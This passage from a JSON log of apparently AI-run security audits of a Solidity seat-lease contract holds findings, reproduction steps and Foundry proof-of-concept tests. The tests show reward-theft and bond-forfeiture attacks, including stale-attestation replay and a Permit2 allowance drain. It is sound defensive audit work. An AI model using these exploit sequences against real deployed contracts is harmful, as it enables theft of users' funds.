if\n        //    vacant\") this balance belongs to the owner.\n        vm.startPrank(payer);\n        reward.approve(address(lease), REWARD);\n        lease.credit(TOKEN_ID, address(reward), REWARD);\n        vm.stopPrank();\n        assertEq(lease.credited(TOKEN_ID, address(reward)), REWARD);\n\n        // 3. In one transaction the attacker takes the seat and sweeps it.\n        vm.startPrank(attacker);\n        bond.approve(address(lease), BOND);\n        lease.take(TOKEN_ID);\n        lease.sweep(TOKEN_ID, address(reward));\n        vm.stopPrank();\n\n        // The attacker did no work under this seat and the rewards were booked while it was vacant: none of them\n        // may be paid to the attacker. On the current code the attacker receives 500e18.\n        assertEq(reward.balanceOf(attacker), 0, \"taker was paid rewards booked before it took the seat\");\n        assertEq(reward.balanceOf(owner), REWARD, \"owner lost rewards booked to a vacant seat\");\n    }\n}","reproduction":"(a) owner deposits seat 1 Open, ownerBps 5000, bondAmount 100e18; seat vacant. payer: reward.approve; credit(1, reward, 1000e18) -> credited(1, reward) == 1000e18 while vacant. attacker (never seated), one tx: bond.approve(lease, 100e18); take(1); sweep(1, reward); then quit(1). Expected: attacker receives 0 reward, owner 1000e18. Actual: reward.balanceOf(attacker) == 500e18, reward.balanceOf(owner) == 500e18, and quit returns the attacker's 100e18 bond. Proof test/scratch/Proof_3804cebca773.t.sol fails with 'taker was paid rewards booked before it took the seat: 500000000000000000000 != 0'. (b) owner deposits seat 7 Permissioned, ownerBps 5000, allowedOperator operator; operator takes; payer credit{value: 10 ether}(7, address(0), 10 ether) while operator is seated; owner calls cut(7) then sweep(7, address(0)). Expected: operator receives 5 ether. Actual: operator.balance == 0, owner receives 10 ether (test/scratch/Leads.t.sol::test_cutThenSweep reproduces the end state).","severity":"high","snippet":"        uint256 ownerAmount = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"sweep() splits the whole booked balance by the operator seated at sweep time, so anyone can take a vacant Open seat, sweep rewards booked before their tenure, and quit with the bond refunded; the owne"},{"citation":"resolved","description":"The validity checks are signer, questionHash, chainId, bool true, expiresAt in the future and unused requestId. issuedAt, fromBlock and toBlock are signed but never compared with the moment the current operator took the seat, and take() does not record that moment. A true attestation about operator X's tenure that was not submitted (X quit first, see the quit finding; or the owner withheld it) remains a valid weapon against operator Y until expiresAt. The owner is the forfeiture beneficiary and can manufacture the situation with the honest network oracle: take its own Open seat, deliberately satisfy the seat's question (e.g. go offline), obtain the true attestation, quit (own bond returned), wait for a victim to take the seat and post a bond, then submit. The victim inspected honest terms and cannot see off-chain attestations. Merged from audit_flow (high) and audit_permissions (medium). Fix: record takenAt (block.timestamp) and/or takenBlock in take(), and in cutByOracle require attestation.issuedAt >= takenAt (and/or attestation.fromBlock >= takenBlock). This adds a condition and removes none the brief requires.","line":338,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev cutByOracle() binds an attestation to the seat's question and signer only. Nothing compares the\n///      attestation's issuedAt / fromBlock / toBlock with the moment the *current* operator took the seat, and the\n///      seat does not record that moment. A true attestation about operator X's tenure that was never submitted\n///      (X quit first, or the owner held it back) therefore stays a valid weapon against the next operator Y until\n///      expiresAt. Y did nothing wrong and Y's bond is forfeited to the owner.\n///      Fails on the current code. Passes once cutByOracle rejects attestations issued (or covering blocks)\n///      before the current operator took the seat, e.g. by recording takenAt/takenBlock in take().\ncontract StaleAttestationCutProof is Test {\n    bytes32 constant EIP712_DOMAIN_TYPEHASH =\n        keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n    bytes32 constant ORACLE_TYPEHASH = keccak256(\n        \"OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)\"\n    );\n\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address operatorX = makeAddr(\"operator-x\");\n    address operatorY = makeAddr(\"operator-y\");\n    address oracle;\n    uint256 oracleKey;\n\n    uint256 constant TOKEN_ID = 7;\n    uint256 constant BOND = 100e18;\n    bytes32 constant QUESTION = keccak256(\"did the operator of seat 7 go offline?\");\n\n    function setUp() public {\n        (oracle, oracleKey) = makeAddrAndKey(\"network-oracle\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(operatorX, BOND);\n        bond.mint(operatorY, BOND);\n        vm.warp(1_800_000_000);\n        vm.roll(1_000);\n\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, oracle, QUESTION, \"open seat\");\n        vm.stopPrank();\n    }\n\n    function _digest(SeatLease.OracleAttestation memory a) internal view returns (bytes32) {\n        bytes32 domain = keccak256(\n            abi.encode(\n                EIP712_DOMAIN_TYPEHASH, keccak256(\"IdentityMD Oracle\"), keccak256(\"1\"), block.chainid, address(lease)\n            )\n        );\n        bytes32 structHash = keccak256(\n            abi.encode(\n                ORACLE_TYPEHASH,\n                a.requestId,\n                a.chainId,\n                a.questionHash,\n                a.answerType,\n                keccak256(a.answer),\n                a.figure,\n                a.fromBlock,\n                a.toBlock,\n                a.blockHash,\n                a.panelJobId,\n                a.issuedAt,\n                a.expiresAt\n            )\n        );\n        return keccak256(abi.encodePacked(\"\\x19\\x01\", domain, structHash));\n    }\n\n    function test_attestationIssuedBeforeCurrentTenureForfeitsInnocentOperatorsBond() public {\n        // 1. X takes the seat at block 1000 and misbehaves; the real oracle attests `true` about X's tenure.\n        vm.startPrank(operatorX);\n        bond.approve(address(lease), BOND);\n        lease.take(TOKEN_ID);\n        vm.stopPrank();\n\n        SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n            requestId: keccak256(\"req-about-x\"),\n            chainId: block.chainid,\n            questionHash: QUESTION,\n            answerType: lease.ANSWER_TYPE_BOOL(),\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: 990,\n            toBlock: uint64(block.number),\n            blockHash: bytes32(0),\n            panelJobId: keccak256(\"panel\"),\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 days)\n        });\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(oracleKey, _digest(att));\n        bytes memory sig = abi.encodePacked(r, s, v);\n\n        // 2. X leaves before anyone submits it (quit is instant and unconditional). The attestation stays unused.\n        vm.prank(operatorX);\n        lease.quit(TOKEN_ID);\n        assertEq(bond.balanceOf(operatorX), BOND);\n        assertFalse(lease.usedRequest(att.requestId));\n\n        // 3. An hour and 300 blocks later, Y takes the seat and posts its own bond.\n        vm.warp(block.timestamp + 1 hours);\n        vm.roll(block.number + 300);\n        vm.startPrank(operatorY);\n        bond.approve(address(lease), BOND);\n        lease.take(TOKEN_ID);\n        vm.stopPrank();\n        assertEq(lease.seat(TOKEN_ID).operator, operatorY);\n\n        // 4. The owner (the forfeiture beneficiary) submits the attestation about X against Y.\n        vm.prank(owner);\n        (bool cut,) = address(lease).call(abi.encodeCall(SeatLease.cutByOracle, (TOKEN_ID, att, sig)));\n\n        // The attestation was issued and covers blocks before Y ever held the seat. It must not cut Y, and Y's\n        // bond must not move to the owner. On the current code the cut succeeds and the owner receives Y's bond.\n        assertFalse(cut, \"attestation predating the current tenure was accepted\");\n        assertEq(lease.seat(TOKEN_ID).operator, operatorY, \"Y was cut by an attestation about X\");\n        assertEq(bond.balanceOf(owner) + lease.bondOwed(owner), 0, \"owner received the innocent operator's bond\");\n        assertEq(lease.seat(TOKEN_ID).bondHeld, BOND, \"Y's bond is no longer held for Y\");\n    }\n}","reproduction":"owner deposits seat 7 Open, bondAmount 100e18, oracleSigner = oracle, questionHash Q. Block 1000: X takes. Oracle signs OracleAttestation{requestId: keccak('req-about-x'), chainId: block.chainid, questionHash: Q, answerType: 1, answer: abi.encode(true), fromBlock: 990, toBlock: 1000, issuedAt: t0, expiresAt: t0 + 1 day}. X calls quit(7) and gets 100e18 back; usedRequest(requestId) == false. At t0 + 1h, block 1300, Y takes and posts 100e18. owner calls cutByOracle(7, att, sig). Expected: revert, the attestation predates Y's tenure; Y stays operator with bondHeld 100e18. Actual: the call succeeds, seat(7).operator == 0, bond.balanceOf(owner) == 100e18 (Y's bond). Proof test/scratch/StaleAttestationCut.t.sol fails with 'attestation predating the current tenure was accepted'.","severity":"high","snippet":"        if (attestation.expiresAt <= block.timestamp) revert OracleAttestationExpired(attestation.expiresAt);","title":"cutByOracle() accepts an attestation issued before the current operator took the seat and forfeits the innocent new operator's bond"},{"citation":"resolved","description":"The Open-mode bond exists only to be forfeited to the owner when the oracle attests misbehaviour, but quit() clears the operator and pushes the whole bond in the same call with no delay, and cutByOracle reverts SeatVacant once the operator is gone. Attestations are produced off-chain and submitted by anyone, so the operator sees either the oracle output or the cutByOracle transaction in the mempool and sends quit with higher priority; a misbehaving operator knows before any attestation exists. The attestation is then worthless (and, unused, becomes the stale weapon of the previous finding). In Open mode the same operator can re-take the seat with a fresh bond in the same block. Merged from audit_economics, audit_flow and audit_math (all medium). Fix needs a scope decision because the brief says quit 'returns bond': an unbonding window, where quit clears the operator immediately but holds the bond (pendingBond, releaseAt = now + NOTICE, former operator recorded) and cutByOracle may still forfeit a locked pending bond to the owner; redeemBond() or a finalize call pays it after releaseAt. cut() by the owner can keep returning the bond immediately since the owner is the forfeiture beneficiary.","line":300,"path":"src/SeatLease.sol","reproduction":"owner deposits seat 7 Open, bondAmount 100e18, oracleSigner = oracle; operator takes (bondHeld 100e18). Oracle signs a valid true attestation {requestId, chainId: block.chainid, questionHash: Q, answerType: 1, answer: abi.encode(true), expiresAt: now + 1h}. Same block: (1) operator: quit(7) succeeds, bond.balanceOf(operator) back to full, seat vacant; (2) owner: cutByOracle(7, att, sig) reverts SeatVacant(7). Expected: the owner receives the forfeited 100e18. Actual: owner receives 0, operator keeps 100e18 (test/scratch/Leads.t.sol::test_quitEscapesForfeit reproduces the revert and balances).","severity":"medium","snippet":"    function quit(uint256 tokenId) external nonReentrant {","title":"quit() returns the bond instantly and unconditionally, so an operator front-runs cutByOracle with quit and forfeiture can never be enforced against a watching operator"},{"citation":"resolved","description":"claim() books only the balance delta of listed tokens (plus ETH) measured across its own target.call; credit() books only what it pulls from msg.sender; there is no other booking path and, by design, no admin. Any reward that arrives another way sits with totalCredited unchanged and is unreachable forever: sweep reverts ZeroAmount, a later claim measures a zero delta. Three routes, one root cause: (a) a distributor whose claim is keyed by account and callable by anyone (Merkle-style distributors, which the network's reserved MerkleDistributor artifact most likely follows) lets a griefer, a helpful bot or the operator itself call claim(registry) directly and strand every reward a seat is owed, for one transaction of gas; (b) the owner calls claim() with tokens[] missing a token the distributor pays (ETH is measured unconditionally, ERC-20s are not, so the two branches keep different invariants); (c) ETH force-sent by SELFDESTRUCT bypasses receive() and is never booked, contradicting the stated guarantee that plain ETH is never unattributed. Merged from audit_economics (medium), audit_math (low) and audit_flow (low). Fix: add a booking path for unattributed surplus. Track totalBondHeld and totalBondOwed as sums and add skim(tokenId, token), callable by the seat owner (or anyone, booking to the seat named), that books balanceOf(this) - totalCredited[token] - (token == bondToken ? totalBondHeld + totalBondOwed : 0). Attribution among several seats is the same open policy question as the cross-seat claim finding; either choice beats permanent loss. If push distributors are declared unsupported, the README must say so.","line":421,"path":"src/SeatLease.sol","reproduction":"owner deposits seat 7. Distributor D with claimFor(address account) pays account 1000e18 RWD. A stranger calls D.claimFor(lease): reward.balanceOf(lease) == 1000e18, credited(7, RWD) == 0, totalCredited(RWD) == 0. owner calls claim(7, D, <any data>, [RWD]): delta during the call is 0, nothing booked. sweep(7, RWD) reverts ZeroAmount. Expected: 1000e18 that the network paid the seat holder is bookable to seat 7 and sweepable by the owner/operator split. Actual: no function can ever move it (test/scratch/Leads.t.sol::test_pushedRewardsStuck reproduces the end state). Variant (b): claim(7, distributor, claim(), []) with distributor.setReward(lease, 1000e18, 0) leaves 1000e18 unbooked; a second claim listing RWD measures 0.","severity":"medium","snippet":"            uint256 gained = afterwards - before[i];","title":"Rewards that reach the registry outside a claim() delta or credit() are never bookable: permissionless third-party claims, unlisted tokens and force-sent ETH strand funds with no recovery path"},{"citation":"resolved","description":"deposit() pulls the NFT with safeTransferFrom(msg.sender, this), which exercises the registry's hook, not the depositor's, and only checks ownerOf(tokenId) == msg.sender. A contract that obtained the seat by mint or plain transferFrom (a vault, a minimal multisig, an exec-forwarding wallet) deposits fine. withdraw() returns it with safeTransferFrom(this, msg.sender), which calls onERC721Received on that contract and reverts ERC721InvalidReceiver when it is absent. No other path moves the NFT out (claim refuses the NFT as target and re-checks custody), so the seat is held permanently while rewards still flow. Self-inflicted, but permanent. Merged from audit_economics and audit_math (both low). Fix: use transferFrom(address(this), msg.sender, tokenId) in withdraw (the caller proved custody by depositing), or accept an explicit recipient withdraw(tokenId, to) with safeTransferFrom to that address.","line":355,"path":"src/SeatLease.sol","reproduction":"PlainWallet W (no onERC721Received, only exec(target, data)). nft.mint(W, 7). W.exec(nft.approve(lease, 7)); W.exec(lease.deposit(7, 5000, Open, 0, 0, 0, 0, '')) succeeds, nft.ownerOf(7) == lease. W.exec(lease.withdraw(7)) reverts inside ERC721 with ERC721InvalidReceiver(W); every retry reverts. Expected: the depositor recovers its vacant seat. Actual: the seat is stuck in the registry (test/scratch/Leads.t.sol::test_withdrawLocksPlainWallet).","severity":"low","snippet":"        seatNFT.safeTransferFrom(address(this), msg.sender, tokenId);","title":"withdraw() returns the NFT with safeTransferFrom to msg.sender, so a contract owner without onERC721Received can deposit but never withdraw its seat"},{"citation":"resolved","description":"_payBond() escrows a failed bond push (bondOwed / redeemBond) so a seat is never stuck occupied, but _pay() used by sweep() reverts when the owner or operator rejects ETH or is blocklisted by the reward token, and the whole sweep of that token reverts, locking the other party's share too. If the owner rejects, the operator's share is frozen for as long as the owner chooses; an owner contract can reject while the operator is active, cut(), then accept and sweep 100%. If the operator rejects, the owner must cut() and again sweeps 100% (test_sweep_revertsWhenOperatorRejectsEth pins the revert). Merged from audit_economics and audit_permissions (both low). Fix: on a failed push, credit the amount to a per-account, per-token owed mapping with a pull function, as _payBond already does for bonds; keep the push as the fast path.","line":678,"path":"src/SeatLease.sol","reproduction":"Owner is contract E whose receive() reverts. E deposits seat 7 Permissioned, ownerBps 5000, allowedOperator operator; operator takes. payer: credit{value: 1 ether}(7, address(0), 1 ether). sweep(7, address(0)) reverts EthTransferFailed(E, 0.5 ether). Expected: the operator's 0.5 ether is payable regardless of the owner's receiver. Actual: the operator's ETH share is unreachable until E changes behaviour; after E cuts and starts accepting, a vacant sweep pays E 1 ether (test/scratch/Leads.t.sol::test_sweepBlockedByOwner).","severity":"low","snippet":"            if (!ok) revert EthTransferFailed(to, amount);","title":"sweep() pushes ETH and ERC-20 with revert-on-failure, so a recipient that cannot receive blocks the other party's share; the owner can convert a block into 100% via cut()"},{"citation":"resolved","description":"claim() makes the registry (the reward recipient the network knows) call target with owner-chosen calldata. The guards protect only balances the registry already holds and the NFT. If a distributor exposes any recipient-parameterised entry (claimTo(address), claim(address to, ...), setRecipient, delegate), the owner calls it with itself as recipient: rewards never enter the registry, nothing is booked, the operator's share is zero, and the call succeeds. The MockDistributor only pays msg.sender, so the suite cannot see this. Together with the owner's option never to call claim() at all, the operator's income from distributors is at the owner's discretion for anything not yet booked. Not fixable in the contract without a per-seat allowlist of (target, selector); the README must state that operators are protected only for rewards that reach the registry. From audit_permissions (low).","line":411,"path":"src/SeatLease.sol","reproduction":"owner deposits seat 7 with ownerBps 0 (operator advertised 100%), operator takes. Distributor D with claimTo(address to) pays 1000e18 RWD to `to`. owner calls claim(7, D, abi.encodeCall(D.claimTo, (owner)), [RWD]). Expected under the advertised split: 1000e18 booked to seat 7 and sweepable to the operator. Actual: reward.balanceOf(owner) == 1000e18, credited(7, RWD) == 0, call succeeds (test/scratch/Leads.t.sol::test_claimToDiverts).","severity":"low","snippet":"        (bool ok, bytes memory reason) = target.call(data);","title":"claim() lets the owner pick calldata, so at any recipient-parameterised distributor the owner routes seat rewards to itself and nothing is booked (trust assumption to document)"},{"citation":"resolved","description":"The task requires a README covering every function, event and error, the exact isValidSignature encoding with a worked example, how an operator pairs, the oracle cut model and mainnet deployment steps, plus a local Anvil deployment with recorded addresses, tx hashes and blocks. The tree has REVIEW.md, launch.json notes and NatSpec only; there is no README.md and no broadcast/ or other deployment record. The trust assumptions surfaced above (owner-chosen oracleSigner, owner can change terms while vacant, owner can cut any time and claim afterwards, rewards protected only once booked, push-payment receivers, EOA-only operators because pairing uses ECDSA recovery) have nowhere to be stated for operators. Merged from audit_economics and audit_permissions (info).","line":1,"path":"REVIEW.md","reproduction":"At the repository root: `git ls-files | grep -i readme` lists only lib/ READMEs; `ls README* broadcast` reports no such file or directory. Expected per the task: README.md and deployment records committed. Actual: absent.","severity":"low","snippet":"# SeatLease v1: revision review","title":"Required deliverables absent from the tree: no README (function/event/error reference, isValidSignature worked example, pairing flow, oracle cut model, mainnet steps) and no recorded Anvil deployment"}],"hash":"07248a2eb587e129dd140f849781715eed8d780f1c58d99f885ae4aa689d6e97","nodeId":"c3530658-885b-4197-a6ea-05e32fd8afed","outcome":"completed","summary":"The review is complete. The findings file at `.imd-findings.json` holds 10 findings and an 18-row coverage record. Nothing outside that file and my `test/scratch/` directory was changed. `git status` reported the tree clean apart from those, and the project's own 213 tests still pass.\n\n**What I kept, after reproducing every specialist finding against the code**\n\nFour High findings, each with a Foundry proof that fails on the current tree:\n\n1. **claim() books the registry-wide gain to the caller's seat.** All deposited seats share one holder address, so the first owner to claim takes every seat's distributor payout. Specialist proof confirmed.\n2. **take() is not bound to inspected terms.** The owner front-runs a pending take with setTerms, swaps the oracle signer for its own key, then forfeits the operator's bond to itself through cutByOracle. Four specialists reported this; merged into one.\n3. **sweep() attributes by the operator seated at sweep time.** A stranger can take a vacant Open seat, sweep rewards booked before its tenure, and quit with the bond refunded. The owner-side mirror, cut then sweep to take the operator's share, has the same root cause and is merged in. Six specialist entries collapsed into this one.\n4. **cutByOracle() accepts attestations issued before the current tenure.** An unused true attestation about a previous operator cuts the innocent next operator and forfeits their bond. I wrote a new proof for this one, since neither specialist attached one.\n\nTwo Mediums: quit() returns the bond instantly, so a watching operator always escapes forfeiture; and rewards arriving outside a claim() delta (permissionless third-party claims, unlisted tokens, force-sent ETH) are stranded forever. Three specialist entries merged into the second.\n\nFour Lows: withdraw() uses safeTransferFrom and locks contract owners without the receiver hook; sweep() push payments let one party block the other; claim() calldata lets the owner divert rewards at recipient-parameterised distributors (a trust assumption to document); and the required README and Anvil deployment record are absent.\n\n**What I dropped**\n\nThe rounding-direction and overflow entries from audit_math. Both are accepted design choices or affect only a worthless malicious token, and the specialist itself called them non-defects. All slither and aderyn leads were checked and none reproduce as defects beyond what is already reported.\n\n**Coverage**\n\nAll 15 listed entry points have a row. The isValidSignature path, deposit, credit, receive, redeemBond and the LaunchToken functions hold. I found no cross-seat replay, digest substitution, or malleability path in the ERC-1271 logic, and confirmed that only WorkerAuthorization digests can ever validate, so the contract cannot be used to forge 1271 permits.","treeHash":null,"usage":{"cachedInputTokens":1143443,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":37446,"runtime":"claude","turns":28,"wallClockMs":597563}},{"artifacts":[],"attempt":1,"bundleHash":"36666286e2498d835fbdba4412132deaa5812a21f29d10e153c0d5ef922114b8","device":"3f6a9bdd601cb99f","findings":[],"hash":"0b2b59dd67d86fcc75f051d41cc0b9432af70ede7c56531d285ba4854872d83d","nodeId":"6db709f6-b557-489b-a83a-01e483254c2a","outcome":"completed","summary":"The manifest is updated and verified. Only launch.json changed.\n\n**What was wrong before.** The rejected attempt wrote nothing because it treated the SeatLease constructor's string parameters as a blocker. That reasoning was already handled in the accepted manifest: the launch is token-only, and SeatLease is deployed by the env-driven script instead. The real gap was that the tree gained SeatHolder after the manifest was accepted, so the notes no longer described every contract present.\n\n**What I changed in launch.json.** The notes now cover SeatHolder: one per deposited seat, created by SeatLease with CREATE2, registry fixed to msg.sender at construction. That is why it stays off the contracts list, since a factory-deployed holder would name ProjectFactory as its registry and be unusable. Token, pool, kind, and the empty contracts array are unchanged from the accepted version.\n\n**Verification.**\n- Schema check in Python: kind, field set, contract name pattern, pairedCurrency, initialPrice below 2^256, and the notes length (1989 characters, under the 4000 limit) all pass.\n- `forge build --deny warnings` compiles cleanly.\n- `forge test` passes all 249 tests across 8 suites.\n- `git status` shows launch.json as the only modified file.","treeHash":"f2e35ac069acc43f2fa7df5568e8ae1a1419fa14","usage":{"cachedInputTokens":374139,"inputTokens":226,"model":"claude-fable-5-1","outputTokens":2914,"runtime":"claude","turns":8,"wallClockMs":70002}},{"artifacts":[],"attempt":1,"bundleHash":"4d2e86b23debcbdb9edecc70867e21ab9295334a0573c76e5421bed66d4d15c3","device":"3f6a9bdd601cb99f","findings":[],"hash":"114199a13f57a25318eb4e16bbf03c575cfb342806883ea8a6557ad29bc98cd9","nodeId":"3b934019-b9f8-4eb7-8231-d104f1d1af97","outcome":"completed","summary":"All four proofs reproduced on the starting tree and pass on the revised one. Nine findings are fixed and one is disputed, with the answers in `.imd-responses.json`.\n\n**What changed in the contracts**\n\n- **Per-seat wallets.** Each deposited seat now lives in its own `SeatHolder`, a minimal contract the registry creates with CREATE2 on first deposit and reuses forever. The holder owns the NFT, is the address distributors pay, makes the `claim` call, and answers ERC-1271 by deferring to the registry. That closes the cross-seat claim finding structurally, since a payout for another seat never reaches the caller's holder. It also makes the `skim` path possible: anything that reaches a holder belongs to its seat, so third-party claims, unlisted tokens, and forced ETH are all bookable.\n- **Booking-time attribution.** Every booked amount is split into per-account shares at the moment it is booked, using the operator seated then. `sweep` pays the owner and current operator; a new `sweepFor` pays anyone their share, including cut operators and former owners. Failed pushes retain the share instead of reverting.\n- **Terms activation delay.** `setTerms` and `withdraw` make a token id untakeable for one hour, so an owner cannot swap terms under a pending `take`. The `take(tokenId)` ABI is kept because two held proofs call it directly.\n- **Tenure binding.** `take` records `takenAt` and `takenBlock`; `cutByOracle` rejects attestations issued or observing before them.\n- **Withdraw** returns the NFT with plain `transferFrom`.\n\n**Disputed:** the instant-quit finding. The reviewer's own held proof for the stale-attestation finding asserts the bond is back in the operator's balance immediately after `quit`, so an unbonding window would fail a proof this work is held to. The limitation is documented in README and REVIEW.md.\n\n**Verification on the final tree**\n\n| Check | Result |\n|---|---|\n| `forge build --deny warnings` | clean, lint included |\n| `forge test` | 180 tests pass, plus the 4 proofs and an opcode scan under `test/scratch` |\n| `forge fmt --check` | clean |\n| Coverage | SeatHolder 100%; SeatLease 100% branches and functions, one uninstrumented assembly line |\n| SeatLease runtime | 22,360 bytes, 2,216 under the EIP-170 limit |\n\n**Delivery.** README.md now covers every function, event and error of both contracts, the exact ERC-1271 encoding with a worked example, the pairing flow, the oracle cut model, the trust model, and mainnet steps. The example was validated against a live Anvil deployment through both the holder and the registry, and that deployment is recorded in `deployments/anvil-31337.json` with addresses, transaction hashes and blocks. The gas snapshot is regenerated. No stray files remain in the tree; `foundry.toml` and the deploy script are untouched.\n\nOne thing worth knowing: the trust model now states plainly that operators are protected only for rewards that reach the seat's wallet, and that a mempool-watching operator can escape oracle forfeiture by quitting first. Both are consequences of the brief's specification rather than of this implementation.","treeHash":"be3ff5f469660c7e062e185130ee33176ef415a3","usage":{"cachedInputTokens":9487751,"inputTokens":1282,"model":"claude-fable-5-1","outputTokens":171385,"runtime":"claude","turns":81,"wallClockMs":2079549}},{"artifacts":[],"attempt":1,"bundleHash":"0b027557a8dd6ff6647868292dc637a66552e89261b0665dad9ea6f1c3db2209","device":"3f6a9bdd601cb99f","findings":[],"hash":"1403927c0ed02055b709ecfb0d822a8f96ffcf56c5e606b74fc1dd31c1069bce","nodeId":"3b934019-b9f8-4eb7-8231-d104f1d1af97","outcome":"completed","summary":"","treeHash":"da1ab99ecac6444bf3a6ff3ab270d57875c0e50d","usage":{"cachedInputTokens":6480936,"inputTokens":1890,"model":"claude-fable-5-1","outputTokens":102628,"runtime":"claude","turns":61,"wallClockMs":1186620}},{"artifacts":[],"attempt":1,"bundleHash":"9ed1cbd6a3f2c4dddff59a240d8564da73bab7524f5c165405981060e4a9316c","device":"3f6a9bdd601cb99f","findings":[],"hash":"18ebae3290bbc7a35ef4917967cd745523a3b18dc36bc3abe413788b8a06a796","nodeId":"6db709f6-b557-489b-a83a-01e483254c2a","outcome":"completed","summary":"I updated launch.json and verified it. Only that file changed.\n\n**What I found.** The tree already held an accepted token-only manifest that matched the source. The previous attempt was rejected because it wrote nothing, not because the manifest was wrong. SeatLease's constructor takes two dynamic string arguments, which the factory cannot supply, and SeatHolder records its deployer as the registry, so neither can be listed as a project contract. The token-only shape stays.\n\n**What I changed.** The notes now record the local Anvil deployment files, state that no public or mainnet deployment was performed, point to the README deployment and mainnet sections, and spell out the token floor facts the protected tests check (no-argument constructor, 18 decimals matching the manifest, no mint or upgrade selectors, no DELEGATECALL, CALLCODE or SELFDESTRUCT). Token, pool and contracts fields are unchanged.\n\n**Verification.**\n\n| Check | Result |\n|---|---|\n| Schema rules (keys, patterns, notes ≤ 4000 chars) | pass, notes 2684 chars |\n| `forge build --deny warnings` | clean |\n| `forge test` | 269 passed, 0 failed |\n| `git status` | only launch.json modified |","treeHash":"2a9d1a206168dc8c397c73e6664f6b1cfd55aa96","usage":{"cachedInputTokens":377019,"inputTokens":226,"model":"claude-fable-5-1","outputTokens":5053,"runtime":"claude","turns":8,"wallClockMs":101897}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"5739ce0d803a43cd","findings":[{"citation":"resolved","description":"Confirmed from audit_permissions (medium); no other specialist reported it. The claim() target guard is a heuristic: it refuses the NFT, the bond token, the registry, the holder, codeless targets, targets with booked balances and anything answering balanceOf(address). README (line 414-416) states the intent as 'the holder must never be able to approve a token it holds'. Uniswap Permit2 (0x000000000022D473030F116dDEE9F6B43aC78BA3 on mainnet and Sepolia) has code, no balanceOf and no fallback, so it passes every check, and the holder becomes msg.sender of Permit2.approve(token, spender, amount, expiration). That allowance outlives the call; the post-call checks compare only balances and NFT ownership, which an approval does not change. For any reward token that pre-authorises Permit2 (tokens built on Solady's ERC20 with _givePermit2InfiniteAllowance, and others that hard-code the canonical Permit2 spender), the owner can then call Permit2.transferFrom(holder, owner, amount, token) from outside the registry at any time. That moves rewards out of the holder before quit/cut/cutByOracle settlement or skim books them, so the operator's (10000-ownerBps) share of a declared token is bypassed, which is exactly the guarantee revision 3 added. Because the holder is reused per token id and the allowance is never revoked, it also survives withdraw: a former owner who sold the seat drains rewards paid to the holder while the buyer holds it. The affected party (operator or buyer) has no way to see or revoke the allowance through the registry. Impact is loss of the counterparty's rewards under a specific token condition, so medium. Minimal fix preserving the brief: refuse the canonical Permit2 address as a claim target (add it to the ForbiddenTarget list) and document that other approval registries are unsupported. More robust and still within the design: have the owner declare allowed claim targets while vacant (like setRewardTokens, bounded, delayed by TERMS_DELAY) so an operator or buyer can inspect every contract the holder may ever call before committing.","line":500,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\naddress constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;\n\n/// @dev Minimal AllowanceTransfer surface of Uniswap Permit2 (approve / transferFrom); no balanceOf, no fallback.\ncontract MiniPermit2 {\n    mapping(address => mapping(address => mapping(address => uint160))) public allowanceOf;\n\n    function approve(address token, address spender, uint160 amount, uint48) external {\n        allowanceOf[msg.sender][token][spender] = amount;\n    }\n\n    function transferFrom(address from, address to, uint160 amount, address token) external {\n        uint160 a = allowanceOf[from][token][msg.sender];\n        require(a >= amount, \"allowance\");\n        if (a != type(uint160).max) allowanceOf[from][token][msg.sender] = a - amount;\n        IERC20(token).transferFrom(from, to, amount);\n    }\n}\n\n/// @dev Reward token that, like Solady's ERC20 default, gives Permit2 an infinite allowance from every holder.\ncontract Permit2RewardToken is ERC20 {\n    constructor() ERC20(\"R\", \"R\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n\n    function allowance(address o, address spender) public view override returns (uint256) {\n        if (spender == PERMIT2) return type(uint256).max;\n        return super.allowance(o, spender);\n    }\n}\n\ncontract Permit2ApprovalTest is Test {\n    SeatLease lease;\n    MockSeatNFT nft;\n    MockERC20 bond;\n    Permit2RewardToken rwd;\n    address owner = makeAddr(\"owner\");\n    address op = makeAddr(\"op\");\n\n    function setUp() public {\n        vm.etch(PERMIT2, address(new MiniPermit2()).code);\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"B\", \"B\");\n        rwd = new Permit2RewardToken();\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, 7);\n        vm.startPrank(owner);\n        nft.setApprovalForAll(address(lease), true);\n        lease.deposit(7, 5000, SeatLease.Mode.Permissioned, op, 0, 